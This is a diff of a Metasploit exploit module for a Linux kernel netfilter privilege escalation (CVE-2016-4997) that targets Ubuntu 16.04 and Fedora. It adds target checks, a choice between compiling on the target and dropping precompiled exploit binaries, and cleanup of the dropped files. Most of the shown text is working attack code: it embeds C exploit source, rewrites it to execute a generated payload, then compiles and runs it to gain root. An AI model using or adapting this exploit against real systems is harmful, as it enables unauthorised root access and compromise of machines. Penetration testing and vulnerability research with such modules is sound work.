@@ -16,9 +16,11 @@ def initialize(info = {})
16
16
super ( update_info ( info ,
17
17
'Name' => 'Linux Kernel 4.6.3 Netfilter Privilege Escalation' ,
18
18
'Description' => %q{
19
- This module attempts to exploit a netfilter bug on Linux Kenrels befoe 4.6.3, and currently
19
+ This module attempts to exploit a netfilter bug on Linux Kernels befoe 4.6.3, and currently
20
20
only works against Ubuntu 16.04 (not 16.04.1) with kernel
21
- 4.4.0-21-generic. Several conditions have to be met for successful exploitation:
21
+ 4.4.0-21-generic.
22
+ Several conditions have to be met for successful exploitation:
23
+ Ubuntu:
22
24
1. ip_tables.ko (ubuntu), iptable_raw (fedora) has to be loaded (root running iptables -L will do such)
23
25
2. libc6-dev-i386 (ubuntu), glibc-devel.i686 & libgcc.i686 (fedora) needs to be installed to compile
24
26
Kernel 4.4.0-31-generic and newer are not vulnerable.
@@ -53,7 +55,8 @@ def initialize(info = {})
53
55
[
54
56
OptString . new ( 'WritableDir' , [ true , 'A directory where we can write files (must not be mounted noexec)' , '/tmp' ] ) ,
55
57
OptInt . new ( 'MAXWAIT' , [ true , 'Max seconds to wait for decrementation in seconds' , 180 ] ) ,
56
- OptBool . new ( 'REEXPLOIT' , [ true , 'desc already ran, no need to re-run, skip to running pwn' , false ] )
58
+ OptBool . new ( 'REEXPLOIT' , [ true , 'desc already ran, no need to re-run, skip to running pwn' , false ] ) ,
59
+ OptEnum . new ( 'COMPILE' , [ true , 'Compile on target' , 'Auto' , [ 'Auto' , 'True' , 'False' ] ] )
57
60
] , self . class )
58
61
end
59
62
@@ -84,18 +87,51 @@ def iptables_loaded?()
84
87
end
85
88
end
86
89
87
- def libs_installed? ( )
88
- # user@ubuntu:~$ dpkg --get-selections | grep libc6-dev-i386
89
- # libc6-dev-i386 install
90
- vprint_status ( 'Checking if 32bit C libraries are installed' )
90
+ def shemsham_installed? ( )
91
+ # we want this to be false.
92
+ vprint_status ( 'Checking if shem or sham are installed' )
93
+ shemsham = cmd_exec ( 'cat /proc/cpuinfo' )
94
+ if shemsham . include? ( 'shem' )
95
+ print_error ( 'shem installed, system not vulnerable.' )
96
+ elsif shemsham . include? ( 'sham' )
97
+ print_error ( 'sham installed, system not vulnerable.' )
98
+ else
99
+ vprint_good ( 'shem and sham not present.' )
100
+ end
101
+ return ( shemsham . include? ( 'shem' ) or shemsham . include? ( 'sham' ) )
102
+ end
103
+
104
+ if iptables_loaded? ( ) and not shemsham_installed? ( )
105
+ return CheckCode ::Appears
106
+ else
107
+ return CheckCode ::Safe
108
+ end
109
+ end
110
+
111
+ def exploit
112
+ # first thing we need to do is determine our method of exploitation: compiling realtime, or droping a pre-compiled version.
113
+ def has_prereqs? ( )
114
+ vprint_status ( 'Checking if 32bit C libraries, gcc-multilib, and gcc are installed' )
91
115
if target . name == "Ubuntu"
92
116
lib = cmd_exec ( 'dpkg --get-selections | grep libc6-dev-i386' )
93
117
if lib . include? ( 'install' )
94
118
vprint_good ( 'libc6-dev-i386 is installed' )
95
119
else
96
120
print_error ( 'libc6-dev-i386 is not installed. Compiling will fail.' )
97
121
end
98
- return lib . include? ( 'install' )
122
+ multilib = cmd_exec ( 'dpkg --get-selections | grep ^gcc-multilib' )
123
+ if multilib . include? ( 'install' )
124
+ vprint_good ( 'gcc-multilib is installed' )
125
+ else
126
+ print_error ( 'gcc-multilib is not installed. Compiling will fail.' )
127
+ end
128
+ gcc = cmd_exec ( 'which gcc' )
129
+ if gcc . include? ( 'gcc' )
130
+ vprint_good ( 'gcc is installed' )
131
+ else
132
+ print_error ( 'gcc is not installed. Compiling will fail.' )
133
+ end
134
+ return gcc . include? ( 'gcc' ) && lib . include? ( 'install' ) && multilib . include? ( 'install' )
99
135
elsif target . name == "Fedora"
100
136
lib = cmd_exec ( 'dnf list installed | grep -E \'(glibc-devel.i686|libgcc.i686)\'' )
101
137
if lib . include? ( 'glibc' )
@@ -108,34 +144,26 @@ def libs_installed?()
108
144
else
109
145
print_error ( 'libgcc.i686 is not installed. Compiling will fail.' )
110
146
end
111
- return ( lib . include? ( 'glibc' ) and lib . include? ( 'libgcc' ) )
147
+ multilib = false #not implemented
148
+ gcc = false #not implemented
149
+ return ( lib . include? ( 'glibc' ) && lib . include? ( 'libgcc' ) ) && gcc && multilib
112
150
else
113
151
return false
114
152
end
115
153
end
116
154
117
- def shemsham_installed? ( )
118
- # we want this to be false.
119
- vprint_status ( 'Checking if shem or sham are installed' )
120
- shemsham = cmd_exec ( 'cat /proc/cpuinfo' )
121
- if shemsham . include? ( 'shem' )
122
- print_error ( 'shem installed, system not vulnerable.' )
123
- elsif shemsham . include? ( 'sham' )
124
- print_error ( 'sham installed, system not vulnerable.' )
155
+ compile = false
156
+ if datastore [ 'COMPILE' ] == 'Auto' || datastore [ 'COMPILE' ] == 'True'
157
+ if has_prereqs? ( )
158
+ compile = true
159
+ vprint_status ( 'Live compiling exploit on system' )
125
160
else
126
- vprint_good ( 'shem and sham not present. ')
161
+ vprint_status ( 'Dropping pre-compiled exploit on system ')
127
162
end
128
- return ( shemsham . include? ( 'shem' ) or shemsham . include? ( 'sham' ) )
129
163
end
130
-
131
- if libs_installed? ( ) and iptables_loaded? ( ) and not shemsham_installed? ( )
132
- return CheckCode ::Appears
133
- else
134
- return CheckCode ::Safe
164
+ if check != CheckCode ::Appears
165
+ fail_with ( Failure ::NotVulnerable , 'Target not vulnerable! punt!' )
135
166
end
136
- end
137
-
138
- def exploit
139
167
140
168
desc_file = datastore [ "WritableDir" ] + "/" + rand_text_alphanumeric ( 8 )
141
169
env_ready_file = datastore [ "WritableDir" ] + "/" + rand_text_alphanumeric ( 8 )
@@ -144,19 +172,20 @@ def exploit
144
172
payload_path = "#{ datastore [ "WritableDir" ] } /#{ payload_file } "
145
173
146
174
# direct copy of code from exploit-db, except removed the check for shem/sham and ip_tables.ko since we can do that in the check area here
175
+ # removed #include <netinet/in.h> per busterb comment in PR 7326
147
176
decr = %q{
148
177
#define _GNU_SOURCE
149
178
#include <stdio.h>
150
179
#include <stdlib.h>
151
180
#include <string.h>
152
181
#include <unistd.h>
153
182
#include <sched.h>
183
+ #include <netinet/in.h>
154
184
#include <linux/sched.h>
155
185
#include <errno.h>
156
186
#include <sys/types.h>
157
187
#include <sys/socket.h>
158
188
#include <sys/ptrace.h>
159
- #include <netinet/in.h>
160
189
#include <net/if.h>
161
190
#include <linux/netfilter_ipv4/ip_tables.h>
162
191
#include <linux/netlink.h>
@@ -315,28 +344,37 @@ def exploit
315
344
pwn . gsub! ( /execl\( "\/ bin\/ bash", "-sh", NULL\) ;/ ,
316
345
"execl(\" #{ payload_path } \" , NULL);" )
317
346
318
- if check != CheckCode ::Appears
319
- fail_with ( Failure ::NotVulnerable , 'Target not vulnerable! punt!' )
320
- end
321
-
322
347
def pwn ( payload_path , pwn_file , pwn )
323
348
# lets write our payload since everythings set for priv esc
324
349
vprint_status ( "Writing payload to #{ payload_path } " )
325
350
write_file ( payload_path , generate_payload_exe )
326
351
cmd_exec ( "chmod 555 #{ payload_path } " )
327
- # register_file_for_cleanup(payload_path)
352
+ register_file_for_cleanup ( payload_path )
328
353
329
354
# now lets drop part 2, and finish up.
330
355
print_status "Writing pwn executable to #{ pwn_file } .c"
331
356
rm_f pwn_file
332
357
rm_f "#{ pwn_file } .c"
333
358
write_file ( "#{ pwn_file } .c" , pwn )
334
359
cmd_exec ( "gcc #{ pwn_file } .c -O2 -o #{ pwn_file } " )
335
- # register_file_for_cleanup("#{pwn_file}.c")
336
- # register_file_for_cleanup(pwn_file)
360
+ register_file_for_cleanup ( "#{ pwn_file } .c" )
361
+ register_file_for_cleanup ( pwn_file )
337
362
cmd_exec ( "chmod +x #{ pwn_file } ; #{ pwn_file } " )
338
363
end
339
364
365
+ if not compile # we need to override with our pre-created binary
366
+ # pwn file
367
+ path = ::File . join ( Msf ::Config . data_directory , 'exploits' , 'CVE-2016-4997' , '2016-4997-2' )
368
+ fd = ::File . open ( path , "rb" )
369
+ pwn = fd . read ( fd . stat . size )
370
+ fd . close
371
+ # desc file
372
+ path = ::File . join ( Msf ::Config . data_directory , 'exploits' , 'CVE-2016-4997' , '2016-4997-1' )
373
+ fd = ::File . open ( path , "rb" )
374
+ decr = fd . read ( fd . stat . size )
375
+ fd . close
376
+ end
377
+
340
378
# check for shortcut
341
379
if datastore [ 'REEXPLOIT' ]
342
380
pwn ( payload_path , pwn_file , pwn )
0 commit comments